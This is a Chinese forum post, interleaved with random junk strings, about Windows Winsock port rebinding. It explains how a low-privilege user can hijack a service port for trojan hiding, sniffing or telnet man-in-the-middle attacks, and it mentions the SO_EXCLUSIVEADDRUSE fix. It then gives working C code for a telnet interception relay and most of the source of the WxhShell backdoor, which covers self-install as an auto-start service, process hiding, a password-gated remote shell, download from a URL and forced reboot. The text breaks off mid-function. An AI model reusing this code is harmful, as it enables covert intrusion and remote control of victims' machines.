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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: CHKhJ v3+4  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [oU\l+t  
f5 bq)Pm&  
  saddr.sin_family = AF_INET; vmAnBY  
n5d8^c!2  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); x>EL|Q=?  
yk4 @@kHW  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ;9z|rWsF  
*G.vY#h  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 7zw0 g~+  
/";tkad^  
  这意味着什么?意味着可以进行如下的攻击: >b2!&dm  
e1W9"&4>G{  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ]`$yY5&W0  
o:QL%J{[  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) vz4( k/  
h}SZ+G/L  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 HN5661;8  
;"Gy5  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  O ixqou  
Nksm&{=6S  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ,VVA^'+  
hb; CpA  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 myfTz tJ  
6{.U7="  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 (y]Z*p:EW  
9 o,` peH  
  #include o+.L@3RT4  
  #include {FFdMdxy-  
  #include bSw^a{~)  
  #include    eX#.Zt]  
  DWORD WINAPI ClientThread(LPVOID lpParam);   0V3dc+t)O  
  int main() WCsf_1  
  { 1=J& ^O{W  
  WORD wVersionRequested; i5TGK#3o  
  DWORD ret; \|S%zX  
  WSADATA wsaData; 4:rwzRDY  
  BOOL val; flPS+  
  SOCKADDR_IN saddr; hYzP6?K"  
  SOCKADDR_IN scaddr; lW| =rq-|  
  int err; x,mt}>  
  SOCKET s; C1NU6iV^z  
  SOCKET sc; U 2YY   
  int caddsize; tsg`c;{  
  HANDLE mt; J*rYw5QB  
  DWORD tid;   '/xynk%)xw  
  wVersionRequested = MAKEWORD( 2, 2 ); '=$`NG8 l  
  err = WSAStartup( wVersionRequested, &wsaData ); m'}`+#C%)  
  if ( err != 0 ) { mce qZv  
  printf("error!WSAStartup failed!\n"); B{Vc-qJ  
  return -1; |^Y"*Y4*h  
  } 3 zh:~w_  
  saddr.sin_family = AF_INET; :8@)W<>%  
   2p, U ^h  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 nlB'@r  
f>6{tI 5X  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); SWzqCF  
  saddr.sin_port = htons(23); n}a`|Nbk  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zn-=mk;W  
  { I^A>YJW  
  printf("error!socket failed!\n"); !+3&%vQ)  
  return -1; 3]vVuQK.  
  } `C: 7 N=9  
  val = TRUE; GU> j8.  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 gamB]FPZ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) s\mA3t  
  { OD~Q|I(j  
  printf("error!setsockopt failed!\n"); m OUO)[6y  
  return -1; 2!-Q!c`y  
  } `W1uU=c  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; KMi$0+  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 GwF8ze+cH  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $[A^8 [//  
+&7V@  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) DRm`y>.  
  { CjPdN#*l  
  ret=GetLastError(); !Np7mv\7  
  printf("error!bind failed!\n"); WS[Z[O  
  return -1; RI8*'~ix]  
  } VLm\PS   
  listen(s,2); PpFQoY7M  
  while(1) h.R46:  
  { O W.CU=XU  
  caddsize = sizeof(scaddr); w98M #GqV  
  //接受连接请求 VX8rM!3  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1_{e*=/y  
  if(sc!=INVALID_SOCKET) }i^M<A O  
  { .pPuBJL]<  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); -}<Ru)  
  if(mt==NULL) !k% PP  
  { Crc6wmp  
  printf("Thread Creat Failed!\n"); NTq_"`JjZ  
  break; s~Ivq+ipr;  
  } k -jFT3b$  
  } cz IEkm  
  CloseHandle(mt); <6-73LsHcP  
  } Z]uc *Ed  
  closesocket(s); yL asoh  
  WSACleanup(); :"# "{P  
  return 0; -Wa<}Tz  
  }   CP\[9#]:  
  DWORD WINAPI ClientThread(LPVOID lpParam) OD7A(28  
  { 0B8Wf/j?M  
  SOCKET ss = (SOCKET)lpParam; BTwc(oL  
  SOCKET sc; ngZq]8 =o  
  unsigned char buf[4096]; ahg P"Qz  
  SOCKADDR_IN saddr; <k8WnA ~Fl  
  long num; T+T)~!{%  
  DWORD val; F1BvDplQ>G  
  DWORD ret; ]d(Z%  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Vq0X:<9  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   F_:W u,dUZ  
  saddr.sin_family = AF_INET; N<SW $ o  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); =XQGg`8<LB  
  saddr.sin_port = htons(23); j_,/U^Ws|f  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) E8av/O VUd  
  { lfb+)s  
  printf("error!socket failed!\n"); !EKt$8W  
  return -1; B~}BDnu6  
  } l4T[x|')M  
  val = 100; `#iL'ND[  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `=pA;R9  
  { rNhS\1-  
  ret = GetLastError(); 8 !:2:  
  return -1; &i3SB[|  
  } sHPAr}14  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %|+aI?  
  { Dn<3#V  
  ret = GetLastError(); ~roNe|P  
  return -1; )0 E_Y@  
  } '%/=\Q`  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) y(<{e~  
  { AVLY|79#  
  printf("error!socket connect failed!\n"); >|RoLV  
  closesocket(sc); "Ai\NC  
  closesocket(ss); &V 7J5~_  
  return -1; Y>3zpeQ!&  
  } vbJdhaf  
  while(1) ]0<K^OIY  
  { Q[3hOFCX  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 >!Y#2]@}o  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Ndl{f=sjX-  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ylos6]zS8  
  num = recv(ss,buf,4096,0); GKEOjaE  
  if(num>0) H[: lQ\  
  send(sc,buf,num,0); ,#BD/dF  
  else if(num==0) sK W~+ ]  
  break; T]Q4=xsv  
  num = recv(sc,buf,4096,0); tkm@&e=e%  
  if(num>0) E3p$^['vx  
  send(ss,buf,num,0); WYRC_U7  
  else if(num==0) eK(k;$4\^Y  
  break; c]1AM)xo  
  } l #C<bDw  
  closesocket(ss); 1F>8#+B/W  
  closesocket(sc); jQ7;-9/~N  
  return 0 ; e~*tQ4  
  } h3E}Sa(MQ:  
;=@O.iF;H  
Jm)7!W%3  
========================================================== a{e 2*V  
Ar~<l2,{r  
下边附上一个代码,,WXhSHELL d]K8*a%[-  
,Gbc4x  
========================================================== 2A|mXWG}~  
x(Uv>k~i}  
#include "stdafx.h" #k/T\PQ0s  
d^54mfgI  
#include <stdio.h> +68age;dM  
#include <string.h> 6qmV/DL  
#include <windows.h> ^GYVRD  
#include <winsock2.h> %OHWGac"i  
#include <winsvc.h> c1i[1x%  
#include <urlmon.h> ?z|Bf@TJ[+  
"x]7 et,  
#pragma comment (lib, "Ws2_32.lib") I m-M2n  
#pragma comment (lib, "urlmon.lib") <]z4;~/&  
L Y4bn)Qf  
#define MAX_USER   100 // 最大客户端连接数 $s ,g&7*-  
#define BUF_SOCK   200 // sock buffer si~zg\uY  
#define KEY_BUFF   255 // 输入 buffer Ui"$A/  
_I EbRVpb  
#define REBOOT     0   // 重启 ~x4]p|)</  
#define SHUTDOWN   1   // 关机 @6|0H`kv  
[oBRH]9cq  
#define DEF_PORT   5000 // 监听端口 Ivcy=W=Jk  
h5@7@w%  
#define REG_LEN     16   // 注册表键长度 +>eX1WoTy  
#define SVC_LEN     80   // NT服务名长度 T>*G1-J#  
!s$1C=z5u  
// 从dll定义API b^<7a&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); r9 1i :  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); sqF.,A,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zV15d91GX  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /W f.Gt9[  
#D(=[F  
// wxhshell配置信息 |;aZi?Ek[  
struct WSCFG { Wn=I[K&&  
  int ws_port;         // 监听端口 t:oq't  
  char ws_passstr[REG_LEN]; // 口令 XmwR^  
  int ws_autoins;       // 安装标记, 1=yes 0=no Hr]  
  char ws_regname[REG_LEN]; // 注册表键名 FmF[S&gFRs  
  char ws_svcname[REG_LEN]; // 服务名 #~m^RoE  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Exv!!0Cd^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 iu{;|E  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 WC_U'nTu4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no AK'3N1l`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" m=COF$<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3qu?qD  
">8oF.A^  
}; :qR8 e J  
dR>$vbjh1Z  
// default Wxhshell configuration yXtQfR  
struct WSCFG wscfg={DEF_PORT, bs% RWwn  
    "xuhuanlingzhe", FB,rQ9D  
    1, s/>0gu]A8  
    "Wxhshell", ./DlHS;  
    "Wxhshell", 6W]C`  
            "WxhShell Service", v^t oe  
    "Wrsky Windows CmdShell Service", # ax% n  
    "Please Input Your Password: ", )eSQce7H  
  1, dci,[TEGu  
  "http://www.wrsky.com/wxhshell.exe", hWn-[w/l_  
  "Wxhshell.exe" =<#++;!I  
    }; S}Z@g  
DBu8}2R  
// 消息定义模块 Q>\DM'{:4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; OFcP4hDi  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =SW<Vhtb  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %@aC5^Ovy+  
char *msg_ws_ext="\n\rExit."; x}` )'a[  
char *msg_ws_end="\n\rQuit."; kDR5kDiS  
char *msg_ws_boot="\n\rReboot..."; y fuH  
char *msg_ws_poff="\n\rShutdown..."; it>l?h7I  
char *msg_ws_down="\n\rSave to "; ~EQ# %db  
X$t!g`  
char *msg_ws_err="\n\rErr!"; j+lcj&V#  
char *msg_ws_ok="\n\rOK!"; |Q%nnN  
f/.f08  
char ExeFile[MAX_PATH]; !)J$f _88D  
int nUser = 0; FL$S_JAw  
HANDLE handles[MAX_USER]; 1B 0[dK2N  
int OsIsNt; n#?y;Y\  
#IqRu:csp  
SERVICE_STATUS       serviceStatus; p? VDBAx  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; w JgH15oB  
SuV3$-);z  
// 函数声明 #4nBov3d  
int Install(void); g38 MF  
int Uninstall(void); tk 5 p@l  
int DownloadFile(char *sURL, SOCKET wsh); .k up[d(  
int Boot(int flag); Y)GU{  
void HideProc(void); 5YI6$ZdQ  
int GetOsVer(void); L"T :#>  
int Wxhshell(SOCKET wsl); eAQ-r\h'2  
void TalkWithClient(void *cs); Z)3oiLmD  
int CmdShell(SOCKET sock); |hDN$By  
int StartFromService(void); FKf2Q&2I  
int StartWxhshell(LPSTR lpCmdLine); x>4p6H{]0'  
3RlNEc%)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); lF7".  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]haQ#e}WH  
'['x'G50  
// 数据结构和表定义 vQoZk,  
SERVICE_TABLE_ENTRY DispatchTable[] = 931GJA~g  
{ o~xGE6A*"  
{wscfg.ws_svcname, NTServiceMain}, d?/g5[  
{NULL, NULL} J-klpr#  
}; x],XiSyp  
7coVl$_Zl  
// 自我安装 zqXDD; w3  
int Install(void) r#}o +3*  
{ HYJEz2RF  
  char svExeFile[MAX_PATH]; O ~[[JAi[  
  HKEY key; _3g!_  
  strcpy(svExeFile,ExeFile); 04Uyr;y  
7#N= GN  
// 如果是win9x系统,修改注册表设为自启动 64'sJc.   
if(!OsIsNt) { ][8`}ki 1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pgv, Su  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cxPOO#  
  RegCloseKey(key); mgq4g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RO[X #c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {?mb.~(  
  RegCloseKey(key); Xoq -  
  return 0; NUtKT~V  
    } O2lM;="  
  } Iy4 RE P|  
} OzTR#`oey  
else { ( p CU:'"  
/Ea&Zm  
// 如果是NT以上系统,安装为系统服务 (2RuQgO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); B\ZCJaMb  
if (schSCManager!=0) NXS$w{^  
{ B" ]a8}u  
  SC_HANDLE schService = CreateService ) 2jH&}K  
  ( ]% G#x  
  schSCManager, f$?`50D"1  
  wscfg.ws_svcname, cw_B^f8^  
  wscfg.ws_svcdisp, x%dVD  
  SERVICE_ALL_ACCESS, 3r?T|>|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3n_t^=  
  SERVICE_AUTO_START, ,RAP_I!_x  
  SERVICE_ERROR_NORMAL, LF:~& m  
  svExeFile, XHJ/211  
  NULL, 6jov8GIAt  
  NULL, +mO/9m  
  NULL, M@pF[J/  
  NULL, 4jVd  
  NULL 7PO]\X^(zE  
  ); <c,iu{:  
  if (schService!=0) 6>'>BamX  
  { bc& 5*?  
  CloseServiceHandle(schService); W:8{}Iu<  
  CloseServiceHandle(schSCManager); (r1"!~d@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?'tFTh  
  strcat(svExeFile,wscfg.ws_svcname); zP$"6~.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { vXak5iq>X  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); F*4G@)  
  RegCloseKey(key); zRR^v&.9K  
  return 0; ki ?V eFp  
    } =,s5>2  
  } 1l.HQ IS  
  CloseServiceHandle(schSCManager); -(#`JT8  
} 4Le{|B  
} qzu(4*Gk6  
|k: FNu]C  
return 1; 7G Jhc  
} 1 a%1C`d  
0^d<@\  
// 自我卸载 |g<l|lqz|  
int Uninstall(void) R0q|{5S  
{ DKNcp8<J  
  HKEY key; C5X!H_p  
Kj-zEl  
if(!OsIsNt) { &mba{O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |Fx~M,Pzg  
  RegDeleteValue(key,wscfg.ws_regname); PaDm"+H@  
  RegCloseKey(key); Xw162/:h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T9>,Mx%D[  
  RegDeleteValue(key,wscfg.ws_regname); 4Ub7T=LG  
  RegCloseKey(key); i`w&{WTRQ  
  return 0; _|COnm  
  } HeHo?<>|d  
} 8b25D|8l  
} wZj`V_3  
else { hu~XFRw15  
ji5Nq+S2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $A98h -*x  
if (schSCManager!=0) k+eeVy  
{ ]-OF3+l4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zpcO7AY~  
  if (schService!=0) @|d`n\%x  
  { IL%P\Zs  
  if(DeleteService(schService)!=0) { l% {<+N  
  CloseServiceHandle(schService); d @b ]/  
  CloseServiceHandle(schSCManager); e,*@+E\4  
  return 0; aL8Z|*  
  } %)o;2&aD  
  CloseServiceHandle(schService); LP?*RrM  
  } z E\~Oa;  
  CloseServiceHandle(schSCManager); tSTl#xy  
} N1l^%Yf J  
} }~v0o# I  
NU 3s^ 8\(  
return 1; f!B\X*|  
} [QwqP=-6  
;a(7%  
// 从指定url下载文件 A aM~B`B  
int DownloadFile(char *sURL, SOCKET wsh) 1f$1~5Z  
{ J c:j7}OOV  
  HRESULT hr; jZ<f-Ff0  
char seps[]= "/"; bZgFea_>i  
char *token; .ITTYQHv)  
char *file; fQ f5%  
char myURL[MAX_PATH]; 3AcDW6x|  
char myFILE[MAX_PATH]; EB p(^r j  
j__l'?s  
strcpy(myURL,sURL); lQVK~8t3  
  token=strtok(myURL,seps); 75c\.=G9q<  
  while(token!=NULL) TTSq}sb}  
  { X $SXDb~G  
    file=token; [qxDCuxq  
  token=strtok(NULL,seps); y# IUDnRJ  
  } CmtDfE  
[tJp^?6*  
GetCurrentDirectory(MAX_PATH,myFILE); jq(rnbV  
strcat(myFILE, "\\"); ~01t_Xp qc  
strcat(myFILE, file); d.y-R#F_]  
  send(wsh,myFILE,strlen(myFILE),0); LUA<N:  
send(wsh,"...",3,0); A/~^4DR  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]!WD">d:  
  if(hr==S_OK) 7fW$jiw  
return 0; 9lqD~H.  
else ]q|U0(q9  
return 1; /)V8X#,  
w(q\75  
} X1&c?T1 %[  
t#nRa Pzp  
// 系统电源模块 q=26($  
int Boot(int flag) U)_x(B3d/  
{ 0He^r &c3  
  HANDLE hToken; hhJs$c(  
  TOKEN_PRIVILEGES tkp; BHS8MV L@  
@KU^B_{i  
  if(OsIsNt) { O?Qi  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); B1J2m^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); mHc5NkvQC  
    tkp.PrivilegeCount = 1; gV-A+;u  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Yi|Nd;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ne}x(uRn  
if(flag==REBOOT) { h?vt6t9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bO }9/Ay  
  return 0; rG'W#!^*  
} #mRT>]di`D  
else { ]mx1djNA  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Gyy?cn6_  
  return 0; Yo,n#<37  
} K^c%$n:}+  
  } P A$jR fQ  
  else { kp,$ NfD  
if(flag==REBOOT) { b25C[C5C  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ynZfO2kf  
  return 0; W<Asr@  
} +wm%`N;v<  
else { =gO4B-[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1*OZu.NdK  
  return 0; AL[,&_&uV  
} -\8v{ry  
} !InC8+be  
77%I%<#  
return 1; %"AB\lL.  
} :Mq{ES%  
Uq(fk9`6  
// win9x进程隐藏模块 TL: 6Pe  
void HideProc(void) R(GL{Dh}L  
{ +3r4GEa Z  
+w(B9rH  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6f;20dn 6  
  if ( hKernel != NULL ) Pq3|O Z  
  { evz@c)8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +{s -Fg  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); a7TvX{<d  
    FreeLibrary(hKernel); d08:lYQ  
  } jJe?pT]o  
lT;uL~j  
return; LDj*~\vsq  
} q'`LwAU}  
2:;;  
// 获取操作系统版本 "?s  
int GetOsVer(void) @ "/:Omh  
{ RFLw)IWkL_  
  OSVERSIONINFO winfo; G`,M?l mL  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +sx$%N  
  GetVersionEx(&winfo); ]Tn""3#1g  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) mh,a}bX{  
  return 1; M)sAMfuUw  
  else r!/<%\S  
  return 0; "_n})s f  
} <!derr-K  
I$oqFF|D  
// 客户端句柄模块 rchKrw  
int Wxhshell(SOCKET wsl) __,F_9M  
{ !OMl-:KUzE  
  SOCKET wsh; /2:s g1  
  struct sockaddr_in client; lZ?YyRsa6&  
  DWORD myID; <4.j] BE  
3NN )ql  
  while(nUser<MAX_USER) sQLjb8!7  
{ /q?g py  
  int nSize=sizeof(client); Gw+pjSJL`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "; mlQyP  
  if(wsh==INVALID_SOCKET) return 1; !qug^F  
#?7g_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?~tx@k$;Es  
if(handles[nUser]==0) #E4|@}30`  
  closesocket(wsh); &|fWtl;43  
else @J<RFgw#  
  nUser++; &L r~x#Wx  
  } ]+T$ D  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); QQ./!   
F?b"Rv  
  return 0; =s,}@iqNO4  
} ? w@)3Z=u  
& DhdB0Hjf  
// 关闭 socket P}"uC`036  
void CloseIt(SOCKET wsh) 7 /XfPF  
{ _tpOVw4I  
closesocket(wsh); G k:k px  
nUser--; 3|4<SMm  
ExitThread(0); ?7A>|p?"  
} 96<0=   
Jo:S *D  
// 客户端请求句柄 __`6 W1  
void TalkWithClient(void *cs) Xx ou1l!  
{ T%SK";PAU$  
u0nIr9  
  SOCKET wsh=(SOCKET)cs; -v$ q8_$m"  
  char pwd[SVC_LEN]; #hXxrN  
  char cmd[KEY_BUFF]; *Nur>11D  
char chr[1]; 06[HE7  
int i,j; L#\5)mO.v  
!HKW_m^3J  
  while (nUser < MAX_USER) { UvuA N:'  
X u2+TK  
if(wscfg.ws_passstr) { 0e(4+:0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iKG,"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )&qr2Cm*  
  //ZeroMemory(pwd,KEY_BUFF); e//jd&G  
      i=0; y-mjfW`n  
  while(i<SVC_LEN) { +QeA*L$~  
L+8O 4K{  
  // 设置超时 s \0,@A   
  fd_set FdRead; O"J"H2}S  
  struct timeval TimeOut; !1Nh`FN  
  FD_ZERO(&FdRead); |v_ttJ;+Y  
  FD_SET(wsh,&FdRead); 2IXtIE  
  TimeOut.tv_sec=8; /ACau<U]t  
  TimeOut.tv_usec=0; XHh*6Yt_ (  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5aNvGI1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); g-4ab|F  
'l_F@ZO{(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 12tk$FcY8*  
  pwd=chr[0]; $4hi D;n  
  if(chr[0]==0xd || chr[0]==0xa) { NKl`IiGv  
  pwd=0; pRA%07?W  
  break; %JI*)K1WI  
  } V,]Fh5f  
  i++; ?Cv([ ^Y.u  
    } FIx|4[&>S  
b(t8TR#-  
  // 如果是非法用户,关闭 socket H\$uRA oo*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -FW^fGS+  
} ~ /rKKc  
nK#%Od{GF  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); c[Z#q*Q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G|TnvZ KX  
JH*fxG  
while(1) { 8Z3:jSgk  
K9 +\Z  
  ZeroMemory(cmd,KEY_BUFF); ?RS4oJz,5g  
_}.WRFIJ@L  
      // 自动支持客户端 telnet标准   p5l|qs  
  j=0; C$4{'J-ZH  
  while(j<KEY_BUFF) { Ok<,_yh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FcyF E~>2  
  cmd[j]=chr[0]; 1 ]ePU8  
  if(chr[0]==0xa || chr[0]==0xd) { m$7C{Mr'  
  cmd[j]=0; HhwAzk/G~  
  break; {u4AOM=)  
  } yQf(/Uxk*x  
  j++; Adgfo)X5  
    } wQa,o l_p  
Y7;=\/SV  
  // 下载文件 tl`x/   
  if(strstr(cmd,"http://")) { zR )/h   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9+ |W;  
  if(DownloadFile(cmd,wsh)) I]BhkJ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); I= a?z<  
  else @mb'!r  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t*`Sme]"B  
  } eKf5orN  
  else { u#NX`_  
4j(`koX_  
    switch(cmd[0]) { fNBI!=  
  {7%(m|(  
  // 帮助 G++<r7;x  
  case '?': { J0B*V0'zR  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g!OcWy)7  
    break; `26.+>Z7  
  } M*D@zb0ia  
  // 安装 15OzO.Ud  
  case 'i': { 5 9i2*<k  
    if(Install()) E6M*o+Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <'\!  
    else 7spZe"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4*HBCzr7[  
    break; N 6> rU  
    } n3j_=(  
  // 卸载 w| ahb  
  case 'r': { 2sp4Mm  
    if(Uninstall()) -)xl?IB%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (p] S  
    else rV} 5&N*c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iJ @p:  
    break; |>'q%xK  
    } pCC^Hxa  
  // 显示 wxhshell 所在路径 Wr-I~>D%_  
  case 'p': { X*9-P9x(6  
    char svExeFile[MAX_PATH]; >pe!T aBN  
    strcpy(svExeFile,"\n\r"); n)\(\V7  
      strcat(svExeFile,ExeFile); EAy@kzY?  
        send(wsh,svExeFile,strlen(svExeFile),0); l dp$jrNLr  
    break; AGKT*l.-  
    } g:@4/+TSt  
  // 重启 F>GPi!O  
  case 'b': { [f}`reRlZ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5.D0 1?k  
    if(Boot(REBOOT)) Pq@ -`sw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sL ;;'S&  
    else { <[u(il  
    closesocket(wsh); `g4N]<@z  
    ExitThread(0); W|"bV 6d3  
    } uGHM ]"!)  
    break; v=Q!ioE7  
    } 2p4iir  
  // 关机 m/,80J8L+f  
  case 'd': {  J%T=FU  
